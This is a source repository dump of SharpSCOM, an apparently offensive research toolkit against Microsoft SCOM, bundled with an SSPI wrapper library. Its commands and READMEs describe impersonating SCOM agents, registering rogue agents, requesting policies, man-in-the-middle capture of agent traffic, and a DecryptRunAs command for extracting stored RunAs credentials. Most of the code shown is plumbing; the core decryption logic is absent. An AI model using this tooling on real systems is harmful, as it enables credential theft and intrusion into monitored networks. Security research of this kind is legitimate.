├── nsspi ├── NSspi │ ├── .gitignore │ ├── nsspi key.snk │ ├── app.config │ ├── Credentials │ │ ├── CredentialQueryAttrib.cs │ │ ├── QueryNameSupport.cs │ │ ├── ClientCurrentCredential.cs │ │ ├── ServerCurrentCredential.cs │ │ ├── CredentialUse.cs │ │ ├── SafeCredentialHandle.cs │ │ ├── AuthData.cs │ │ ├── CurrentCredential.cs │ │ ├── CredentialNativeMethods.cs │ │ ├── PasswordCredential.cs │ │ └── Credential.cs │ ├── Properties │ │ └── AssemblyInfo.cs │ ├── Contexts │ │ ├── SafeTokenHandle.cs │ │ ├── ContextQueries.cs │ │ ├── SafeContextHandle.cs │ │ ├── ContextQueryAttrib.cs │ │ ├── ImpersonationHandle.cs │ │ ├── ContextAttrib.cs │ │ └── ClientContext.cs │ ├── SecureBuffer │ │ ├── SecureBufferDataRep.cs │ │ ├── SecureBufferDesc.cs │ │ ├── SecureBufferType.cs │ │ └── SecureBuffer.cs │ ├── PackageNames.cs │ ├── NSspi.csproj │ ├── NativeMethods.cs │ ├── TimeStamp.cs │ ├── SSPIException.cs │ ├── EnumMgr.cs │ ├── ByteWriter.cs │ ├── SspiHandle.cs │ ├── PackageSupport.cs │ └── SecPkgInfo.cs ├── .gitignore ├── License.txt ├── NSspi.sln └── readme.md ├── SCOMClient ├── App.config ├── README.md ├── Properties │ └── AssemblyInfo.cs ├── SCOMClient.csproj ├── ClientContextManager.cs ├── Program.cs └── MessageGenerator.cs ├── SCOM_MiTM ├── App.config ├── README.md ├── Properties │ └── AssemblyInfo.cs ├── SCOM_MiTM.csproj └── MessageGenerator.cs ├── SharpSCOM ├── App.config ├── Commands │ ├── ICommand.cs │ ├── DecryptRunAs.cs │ ├── BaseCommand.cs │ ├── RequestPolicy.cs │ ├── RegisterAgent.cs │ ├── RegisterCertificate.cs │ ├── DecryptPolicy.cs │ ├── DownloadPolicy.cs │ ├── AutoEnrol.cs │ └── AutoEnroll.cs ├── Agent │ └── MessageParser.cs ├── Common │ ├── ILogger.cs │ ├── ConsoleLogger.cs │ ├── LoggerFactory.cs │ ├── Constants.cs │ └── AgentCommon.cs ├── Auth │ ├── SSPIMessageParser.cs │ ├── ClientContextManager.cs │ ├── KerberosMessageGenerator.cs │ ├── SSPIMessageGenerator.cs │ └── KerberosMessageParser.cs ├── Cmdline │ ├── DataHandler.cs │ ├── CommandCollection.cs │ ├── Info.cs │ └── Options.cs ├── Properties │ └── AssemblyInfo.cs ├── SharpSCOM.sln ├── Compression │ └── Compression.cs ├── Program.cs ├── SharpSCOM.csproj └── Crypto │ └── DPAPIDecrypt.cs ├── LICENSE ├── SharpSCOM.sln └── .gitignore /nsspi/NSspi/.gitignore: -------------------------------------------------------------------------------- 1 | bin 2 | obj 3 | -------------------------------------------------------------------------------- /nsspi/.gitignore: -------------------------------------------------------------------------------- 1 | .vs 2 | /_ReSharper.Caches 3 | -------------------------------------------------------------------------------- /nsspi/NSspi/nsspi key.snk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/breakfix/SharpSCOM/HEAD/nsspi/NSspi/nsspi key.snk -------------------------------------------------------------------------------- /nsspi/NSspi/app.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /SCOMClient/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SCOM_MiTM/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpSCOM/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /SharpSCOM/Commands/ICommand.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Cmdline; 2 | using System.Collections.Generic; 3 | 4 | namespace SharpSCOM.Commands 5 | { 6 | public interface ICommand 7 | { 8 | void Execute(Options.Arguments arguments); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /SharpSCOM/Agent/MessageParser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | 7 | namespace SharpSCOM.Message 8 | { 9 | class MessageParser 10 | { 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /SharpSCOM/Common/ILogger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSCOM.Common 4 | { 5 | public interface ILogger 6 | { 7 | void Info(string message); 8 | void Error(string message, Exception ex = null); 9 | void Debug(string message); 10 | } 11 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/CredentialQueryAttrib.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Credentials 4 | { 5 | /// 6 | /// Identifies credential query types. 7 | /// 8 | public enum CredentialQueryAttrib : uint 9 | { 10 | /// 11 | /// Queries the credential's principle name. 12 | /// 13 | Names = 1, 14 | } 15 | } -------------------------------------------------------------------------------- /SCOMClient/README.md: -------------------------------------------------------------------------------- 1 | # SCOMClient 2 | 3 | This code is provided for research purposes to send single messages to a SCOM management server. 4 | 5 | ## Usage 6 | 7 | The tool should be run in the security context of the SCOM client you wish to impersonate using the below arguments. 8 | ``` 9 | SCOMClient.exe 10 | ``` 11 | 12 | **Example:** 13 | ``` 14 | SCOMClient.exe scom.local 5723 15 | ``` -------------------------------------------------------------------------------- /SharpSCOM/Commands/DecryptRunAs.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Cmdline; 2 | using SharpSCOM.Common; 3 | using SharpSCOM.Crypto; 4 | 5 | namespace SharpSCOM.Commands 6 | { 7 | public class DecryptRunAs : ICommand 8 | { 9 | public static string CommandName => "DecryptRunAs"; 10 | 11 | public void Execute(Options.Arguments arguments) 12 | { 13 | var credentials = DPAPIDecrypt.ExtractRunAsCredentials(); 14 | } 15 | } 16 | } -------------------------------------------------------------------------------- /SharpSCOM/Commands/BaseCommand.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Common; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpSCOM.Commands 9 | { 10 | public abstract class BaseCommand : ICommand 11 | { 12 | protected ILogger logger => LoggerFactory.Logger; 13 | 14 | public abstract void Execute(Cmdline.Options.Arguments arguments); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /nsspi/NSspi/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Runtime.InteropServices; 2 | 3 | // Setting ComVisible to false makes the types in this assembly not visible 4 | // to COM components. If you need to access a type in this assembly from 5 | // COM, set the ComVisible attribute to true on that type. 6 | [assembly: ComVisible( false )] 7 | 8 | // The following GUID is for the ID of the typelib if this project is exposed to COM 9 | [assembly: Guid( "9abf710c-c646-42aa-8183-76bfa141a07b" )] -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/QueryNameSupport.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi.Credentials 5 | { 6 | /// 7 | /// Stores the result from a query of a credential's principle name. 8 | /// 9 | [StructLayout( LayoutKind.Sequential )] 10 | internal struct QueryNameAttribCarrier 11 | { 12 | /// 13 | /// A pointer to a null-terminated ascii-encoded containing the principle name 14 | /// associated with a credential 15 | /// 16 | public IntPtr Name; 17 | } 18 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Contexts/SafeTokenHandle.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi.Contexts 5 | { 6 | public class SafeTokenHandle : SafeHandle 7 | { 8 | public SafeTokenHandle() : base( IntPtr.Zero, true ) 9 | { 10 | } 11 | 12 | public override bool IsInvalid 13 | { 14 | get 15 | { 16 | return handle == IntPtr.Zero || handle == new IntPtr( -1 ); 17 | } 18 | } 19 | 20 | protected override bool ReleaseHandle() 21 | { 22 | NativeMethods.CloseHandle( this.handle ); 23 | 24 | return true; 25 | } 26 | } 27 | } 28 | -------------------------------------------------------------------------------- /nsspi/NSspi/SecureBuffer/SecureBufferDataRep.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Buffers 4 | { 5 | /// 6 | /// Describes how a buffer's opaque internals should be stored, with regards to byte ordering. 7 | /// 8 | internal enum SecureBufferDataRep : int 9 | { 10 | /// 11 | /// Buffers internals are to be stored in the machine native byte order, which will change depending on 12 | /// what machine generated the buffer. 13 | /// 14 | Native = 0x10, 15 | 16 | /// 17 | /// Buffers are stored in network byte ordering, that is, big endian format. 18 | /// 19 | Network = 0x00 20 | } 21 | } -------------------------------------------------------------------------------- /nsspi/NSspi/PackageNames.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi 4 | { 5 | /// 6 | /// Provides canonical names for security pacakges. 7 | /// 8 | public static class PackageNames 9 | { 10 | /// 11 | /// Indicates the Negotiate security package. 12 | /// 13 | public const string Negotiate = "Negotiate"; 14 | 15 | /// 16 | /// Indicates the Kerberos security package. 17 | /// 18 | public const string Kerberos = "Kerberos"; 19 | 20 | /// 21 | /// Indicates the NTLM security package. 22 | /// 23 | public const string Ntlm = "NTLM"; 24 | } 25 | } -------------------------------------------------------------------------------- /SharpSCOM/Auth/SSPIMessageParser.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Net.Sockets; 6 | using System.Text; 7 | using System.Threading.Tasks; 8 | using NSspi; 9 | using NSspi.Contexts; 10 | using NSspi.Credentials; 11 | 12 | namespace SharpSCOM.Auth 13 | { 14 | class SSPIMessageParser 15 | { 16 | public static void ParseAgentRegistrationResponse(byte[] response) 17 | { 18 | try 19 | { 20 | 21 | } 22 | catch (Exception ex) 23 | { 24 | Console.WriteLine($"[!] Error parsing agent registration response: {ex.Message}"); 25 | } 26 | } 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/ClientCurrentCredential.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Credentials 4 | { 5 | /// 6 | /// Represents a handle to the credentials of the user running the current process, to be used to 7 | /// authenticate as a client. 8 | /// 9 | public class ClientCurrentCredential : CurrentCredential 10 | { 11 | /// 12 | /// Initializes a new instance of the ClientCurrentCredential class. 13 | /// 14 | /// The security package to acquire the credential handle from. 15 | public ClientCurrentCredential( string package ) 16 | : base( package, CredentialUse.Outbound ) 17 | { 18 | } 19 | } 20 | } -------------------------------------------------------------------------------- /SCOM_MiTM/README.md: -------------------------------------------------------------------------------- 1 | # SCOM_MiTM 2 | 3 | This code is provided for research purposes to capture and decrypt SCOM agent / server messages. 4 | 5 | The tool supports two modes, client and server. 6 | 7 | ## Usage 8 | 9 | ### Server Mode 10 | 11 | The server should be run in the security context of the SCOM management server with the below arguments. 12 | ``` 13 | SCOM_MiTM.exe 14 | ``` 15 | 16 | **Example:** 17 | ``` 18 | SCOM_MiTM.exe 9000 scompipe 19 | ``` 20 | 21 | ### Client Mode 22 | 23 | The client should be run in the security context of the SCOM client you wish to impersonate using the below arguments. 24 | ``` 25 | SCOM_MiTM.exe 26 | ``` 27 | 28 | **Example:** 29 | ``` 30 | SCOM_MiTM.exe dc.initech.local 5723 scompipe 31 | ``` -------------------------------------------------------------------------------- /nsspi/NSspi/Contexts/ContextQueries.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi.Contexts 5 | { 6 | /// 7 | /// Stores the result of a context query for the context's buffer sizes. 8 | /// 9 | [StructLayout( LayoutKind.Sequential )] 10 | internal struct SecPkgContext_Sizes 11 | { 12 | public int MaxToken; 13 | public int MaxSignature; 14 | public int BlockSize; 15 | public int SecurityTrailer; 16 | } 17 | 18 | /// 19 | /// Stores the result of a context query for a string-valued context attribute. 20 | /// 21 | [StructLayout( LayoutKind.Sequential )] 22 | internal struct SecPkgContext_String 23 | { 24 | public IntPtr StringResult; 25 | } 26 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/ServerCurrentCredential.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Credentials 4 | { 5 | /// 6 | /// Represents a handle to the credentials of the user running the current process, to be used to 7 | /// authenticate as a server. 8 | /// 9 | public class ServerCurrentCredential : CurrentCredential 10 | { 11 | /// 12 | /// Initializes a new instance of the ServerCredential class, acquiring credentials from 13 | /// the current thread's security context. 14 | /// 15 | /// The name of the security package to obtain credentials from. 16 | public ServerCurrentCredential( string package ) 17 | : base( package, CredentialUse.Inbound ) 18 | { 19 | } 20 | } 21 | } -------------------------------------------------------------------------------- /SharpSCOM/Cmdline/DataHandler.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.IO; 4 | using System.Linq; 5 | using System.Text; 6 | using System.Threading.Tasks; 7 | 8 | namespace SharpSCOM.Cmdline 9 | { 10 | class DataHandler 11 | { 12 | public static void WritePolicyToDisk(byte[] data, string outputFileName) 13 | { 14 | try 15 | { 16 | // Skip first 143 header bytes 17 | byte[] dataToWrite = data.Skip(143).ToArray(); 18 | 19 | // Write to disk 20 | File.WriteAllBytes(outputFileName, dataToWrite); 21 | 22 | Console.WriteLine($"[+] Successfully wrote policy XML to {outputFileName}"); 23 | } 24 | catch (Exception ex) 25 | { 26 | Console.WriteLine($"[!] Error writing to file: {ex.Message}"); 27 | } 28 | } 29 | } 30 | } 31 | -------------------------------------------------------------------------------- /SharpSCOM/Common/ConsoleLogger.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSCOM.Common 4 | { 5 | public class ConsoleLogger : ILogger 6 | { 7 | private readonly bool _verbose; 8 | 9 | public ConsoleLogger(bool verbose = false) 10 | { 11 | _verbose = verbose; 12 | } 13 | 14 | public void Info(string message) 15 | { 16 | Console.WriteLine($"[+] {message}"); 17 | } 18 | 19 | public void Error(string message, Exception ex = null) 20 | { 21 | Console.WriteLine($"[!] ERROR: {message}"); 22 | if (ex != null && _verbose) 23 | { 24 | Console.WriteLine($" Exception: {ex.Message}"); 25 | Console.WriteLine($" Stack trace: {ex.StackTrace}"); 26 | } 27 | } 28 | 29 | public void Debug(string message) 30 | { 31 | if (_verbose) 32 | { 33 | Console.WriteLine($"[DEBUG] {message}"); 34 | } 35 | } 36 | } 37 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/CredentialUse.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace NSspi.Credentials 4 | { 5 | /// 6 | /// Indicates the manner in which a credential will be used for SSPI authentication. 7 | /// 8 | public enum CredentialUse : uint 9 | { 10 | /// 11 | /// The credentials will be used for establishing a security context with an inbound request, eg, 12 | /// the credentials will be used by a server building a security context with a client. 13 | /// 14 | Inbound = 1, 15 | 16 | /// 17 | /// The credentials will be used for establishing a security context as an outbound request, 18 | /// eg, the credentials will be used by a client to build a security context with a server. 19 | /// 20 | Outbound = 2, 21 | 22 | /// 23 | /// The credentials may be used to to either build a client's security context or a server's 24 | /// security context. 25 | /// 26 | Both = 3, 27 | } 28 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Contexts/SafeContextHandle.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.ConstrainedExecution; 3 | 4 | namespace NSspi.Contexts 5 | { 6 | /// 7 | /// Captures an unmanaged security context handle. 8 | /// 9 | public class SafeContextHandle : SafeSspiHandle 10 | { 11 | /// 12 | /// Initializes a new instance of the class. 13 | /// 14 | public SafeContextHandle() 15 | : base() 16 | { } 17 | 18 | /// 19 | /// Releases the safe context handle. 20 | /// 21 | /// 22 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 23 | protected override bool ReleaseHandle() 24 | { 25 | SecurityStatus status = ContextNativeMethods.DeleteSecurityContext( 26 | ref base.rawHandle 27 | ); 28 | 29 | base.ReleaseHandle(); 30 | 31 | return status == SecurityStatus.OK; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /nsspi/NSspi/SecureBuffer/SecureBufferDesc.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.InteropServices; 3 | 4 | namespace NSspi.Buffers 5 | { 6 | /// 7 | /// Represents the native layout of the secure buffer descriptor that is provided directly 8 | /// to native API calls. 9 | /// 10 | [StructLayout( LayoutKind.Sequential )] 11 | internal struct SecureBufferDescInternal 12 | { 13 | /// 14 | /// The buffer structure version. 15 | /// 16 | public int Version; 17 | 18 | /// 19 | /// The number of buffers represented by this descriptor. 20 | /// 21 | public int NumBuffers; 22 | 23 | /// 24 | /// A pointer to a array of buffers, where each buffer is a byte[]. 25 | /// 26 | public IntPtr Buffers; 27 | 28 | /// 29 | /// Indicates the buffer structure version supported by this structure. Always 0. 30 | /// 31 | public const int ApiVersion = 0; 32 | } 33 | } -------------------------------------------------------------------------------- /nsspi/NSspi/Credentials/SafeCredentialHandle.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.ConstrainedExecution; 3 | 4 | namespace NSspi.Credentials 5 | { 6 | /// 7 | /// Provides a managed handle to an SSPI credential. 8 | /// 9 | public class SafeCredentialHandle : SafeSspiHandle 10 | { 11 | /// 12 | /// Initializes a new instance of the class. 13 | /// 14 | public SafeCredentialHandle() 15 | : base() 16 | { } 17 | 18 | /// 19 | /// Releases the resources held by the credential handle. 20 | /// 21 | /// 22 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 23 | protected override bool ReleaseHandle() 24 | { 25 | SecurityStatus status = CredentialNativeMethods.FreeCredentialsHandle( 26 | ref base.rawHandle 27 | ); 28 | 29 | base.ReleaseHandle(); 30 | 31 | return status == SecurityStatus.OK; 32 | } 33 | } 34 | } -------------------------------------------------------------------------------- /nsspi/NSspi/NSspi.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | netstandard2.0;net40 4 | NSspi 5 | NSspi 6 | true 7 | Kevin Thompson 8 | Adds support for accessing the remote identity. 9 | https://github.com/antiduh/nsspi 10 | 0.3.1.0 11 | true 12 | false 13 | nsspi key.snk 14 | License.txt 15 | 16 | 17 | 18 | true 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | True 28 | 29 | 30 | 31 | -------------------------------------------------------------------------------- /nsspi/NSspi/NativeMethods.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Runtime.ConstrainedExecution; 3 | using System.Runtime.InteropServices; 4 | 5 | namespace NSspi 6 | { 7 | internal static class NativeMethods 8 | { 9 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 10 | [DllImport( "Secur32.dll", EntryPoint = "FreeContextBuffer", CharSet = CharSet.Unicode )] 11 | internal static extern SecurityStatus FreeContextBuffer( IntPtr buffer ); 12 | 13 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 14 | [DllImport( "Secur32.dll", EntryPoint = "QuerySecurityPackageInfo", CharSet = CharSet.Unicode )] 15 | internal static extern SecurityStatus QuerySecurityPackageInfo( string packageName, ref IntPtr pkgInfo ); 16 | 17 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 18 | [DllImport( "Secur32.dll", EntryPoint = "EnumerateSecurityPackages", CharSet = CharSet.Unicode )] 19 | internal static extern SecurityStatus EnumerateSecurityPackages( ref int numPackages, ref IntPtr pkgInfoArry ); 20 | 21 | [DllImport( "Kernel32.dll", EntryPoint = "CloseHandle", SetLastError = true )] 22 | [ReliabilityContract( Consistency.WillNotCorruptState, Cer.Success )] 23 | internal static extern bool CloseHandle( IntPtr handle ); 24 | } 25 | } -------------------------------------------------------------------------------- /nsspi/License.txt: -------------------------------------------------------------------------------- 1 | Copyright (c) 2019, Kevin Thompson 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | 1. Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 2. Redistributions in binary form must reproduce the above copyright notice, 10 | this list of conditions and the following disclaimer in the documentation 11 | and/or other materials provided with the distribution. 12 | 13 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 14 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED 15 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 16 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR 17 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 18 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 19 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 20 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 21 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 22 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. -------------------------------------------------------------------------------- /SCOMClient/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SCOMClient")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SCOMClient")] 13 | [assembly: AssemblyCopyright("Copyright © 2025")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("49020c38-ee98-4fb2-9e42-dd0f216d8183")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /SharpSCOM/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpSCOM")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpSCOM")] 13 | [assembly: AssemblyCopyright("Copyright © 2025")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("4def17f6-d348-4a1c-8b36-8cfec6fa2449")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | [assembly: AssemblyVersion("1.0.0.0")] 33 | [assembly: AssemblyFileVersion("1.0.0.0")] 34 | -------------------------------------------------------------------------------- /SharpSCOM/Common/LoggerFactory.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SharpSCOM.Common 4 | { 5 | public static class LoggerFactory 6 | { 7 | private static ILogger _instance; 8 | private static readonly object _lock = new object(); 9 | 10 | public static ILogger Logger 11 | { 12 | get 13 | { 14 | if (_instance == null) 15 | { 16 | lock (_lock) 17 | { 18 | if (_instance == null) 19 | { 20 | _instance = new ConsoleLogger(verbose: false); 21 | } 22 | } 23 | } 24 | return _instance; 25 | } 26 | } 27 | 28 | // Initialize the logger with log level 29 | public static void Initialize(bool verbose) 30 | { 31 | lock (_lock) 32 | { 33 | _instance = new ConsoleLogger(verbose); 34 | } 35 | } 36 | 37 | // Initialize with a custom logger implementation 38 | public static void Initialize(ILogger logger) 39 | { 40 | lock (_lock) 41 | { 42 | _instance = logger ?? throw new ArgumentNullException(nameof(logger)); 43 | } 44 | } 45 | } 46 | } -------------------------------------------------------------------------------- /SharpSCOM/Commands/RequestPolicy.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Agent; 2 | using SharpSCOM.Cmdline; 3 | using SharpSCOM.Common; 4 | using SharpSCOM.Auth; 5 | 6 | namespace SharpSCOM.Commands 7 | { 8 | public class RequestPolicy : BaseCommand 9 | { 10 | public static string CommandName => "RequestPolicy"; 11 | public override void Execute(Options.Arguments arguments) 12 | { 13 | logger.Info($"Requesting policy..."); 14 | 15 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port)) 16 | { 17 | // Connect and authenticate 18 | if (!scomClient.Connect()) 19 | { 20 | logger.Error("Failed to connect to server"); 21 | return; 22 | } 23 | 24 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup); 25 | byte[] payload = single.GeneratePolicyRequestPayload(1); 26 | 27 | byte[] response = scomClient.SendMessage(payload); 28 | 29 | if (response != null) 30 | { 31 | logger.Info("Policy request response received"); 32 | SSPIMessageParser.ParseAgentRegistrationResponse(response); 33 | } 34 | else 35 | { 36 | logger.Error("No response received from server"); 37 | } 38 | } 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /SharpSCOM/Commands/RegisterAgent.cs: -------------------------------------------------------------------------------- 1 | using SharpSCOM.Agent; 2 | using SharpSCOM.Cmdline; 3 | using SharpSCOM.Common; 4 | using SharpSCOM.Auth; 5 | 6 | namespace SharpSCOM.Commands 7 | { 8 | public class RegisterAgent : BaseCommand 9 | { 10 | public static string CommandName => "RegisterAgent"; 11 | public override void Execute(Options.Arguments arguments) 12 | { 13 | logger.Info($"Registering agent: {arguments.Hostname}"); 14 | 15 | using (var scomClient = new SSPIMessageGenerator(arguments.Server, arguments.Port)) 16 | { 17 | // Connect and authenticate 18 | if (!scomClient.Connect()) 19 | { 20 | logger.Error("Failed to connect to server"); 21 | return; 22 | } 23 | 24 | var single = new MessageGenerator(arguments.Hostname, arguments.ManagementGroup); 25 | byte[] payload = single.GenerateAgentRegisterPayload(1); 26 | 27 | byte[] response = scomClient.SendMessage(payload); 28 | 29 | if (response != null) 30 | { 31 | logger.Info("Agent registration response received"); 32 | SSPIMessageParser.ParseAgentRegistrationResponse(response); 33 | } 34 | else 35 | { 36 | logger.Error("No response received from server"); 37 | } 38 | } 39 | } 40 | } 41 | } -------------------------------------------------------------------------------- /SCOM_MiTM/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SCOM_MiTM")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SCOM_MiTM")] 13 | [assembly: AssemblyCopyright("Copyright © 2025")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("8e7c0dab-dac6-4103-9459-edeb32b54248")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | SharpSCOM is provided under the 3-clause BSD license below. 2 | 3 | ************************************************************* 4 | 5 | Copyright (c) 2025, Matt Johnson 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 9 | 10 | Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 11 | Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 12 | The names of its contributors may not be used to endorse or promote products derived from this software without specific prior written permission. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 